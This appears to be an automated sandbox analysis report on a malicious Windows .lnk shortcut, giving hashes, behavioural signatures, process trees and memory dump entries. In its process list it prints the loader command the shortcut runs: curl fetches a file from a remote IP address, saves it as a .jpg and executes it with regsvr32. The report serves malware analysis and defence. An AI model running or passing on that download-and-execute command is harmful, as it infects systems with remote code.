Analysis
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max time kernel
74s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
23-06-2022 15:17
Static task
static1
Behavioral task
behavioral1
Sample
DocumentsFolder_35334058_060139.lnk
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
DocumentsFolder_35334058_060139.lnk
Resource
win10v2004-20220414-en
General
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Target
DocumentsFolder_35334058_060139.lnk
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Size
1KB
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MD5
2d3770c3daa570fa21b712f9dcc5da92
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SHA1
291b441bd68939665764e62a9cfe5937d7a89869
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SHA256
880798e380f7d1159c2d1486aa2458b218876d60607ad5f2f3a812a77ac7ad74
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SHA512
aa91edc8e8cf82b7beaa4f5557be8e842c1185ab43d94dc25c3be96ea134097e5dbb3341d34d9e2830c13cbdd6d2aa1e6f3e138d1568dd070fa42bbe0def3862
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
chrome.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
chrome.exechrome.exepid process 604 chrome.exe 1164 chrome.exe 1164 chrome.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
AUDIODG.EXEdescription pid process Token: 33 1984 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1984 AUDIODG.EXE Token: 33 1984 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1984 AUDIODG.EXE -
Suspicious use of FindShellTrayWindow 35 IoCs
Processes:
chrome.exepid process 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe -
Suspicious use of SendNotifyMessage 32 IoCs
Processes:
chrome.exepid process 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe 1164 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exechrome.exedescription pid process target process PID 1032 wrote to memory of 1076 1032 cmd.exe cmd.exe PID 1032 wrote to memory of 1076 1032 cmd.exe cmd.exe PID 1032 wrote to memory of 1076 1032 cmd.exe cmd.exe PID 1164 wrote to memory of 688 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 688 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 688 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1448 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 604 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 604 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 604 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe PID 1164 wrote to memory of 1524 1164 chrome.exe chrome.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DocumentsFolder_35334058_060139.lnk1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /q /c curl -o C:\Users\Admin\AppData\Local\Temp\1.jpg -O http://194.36.191.243/717510.dat&®svr32 C:\Users\Admin\AppData\Local\Temp\1.jpg2⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fefb1b4f50,0x7fefb1b4f60,0x7fefb1b4f702⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1120 /prefetch:22⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1368 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1788 /prefetch:82⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2020 /prefetch:12⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2004 /prefetch:12⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2764 /prefetch:82⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3248 /prefetch:22⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1232 /prefetch:12⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3468 /prefetch:82⤵
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1104,7715659246647710268,4242996987549793610,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3580 /prefetch:82⤵
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C:\Windows\explorer.exe"C:\Windows\explorer.exe"1⤵
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x2e41⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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\??\pipe\crashpad_1164_KEHTVWCZVXPTVJORMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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memory/1032-54-0x000007FEFBE51000-0x000007FEFBE53000-memory.dmpFilesize
8KB
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memory/1076-88-0x0000000000000000-mapping.dmp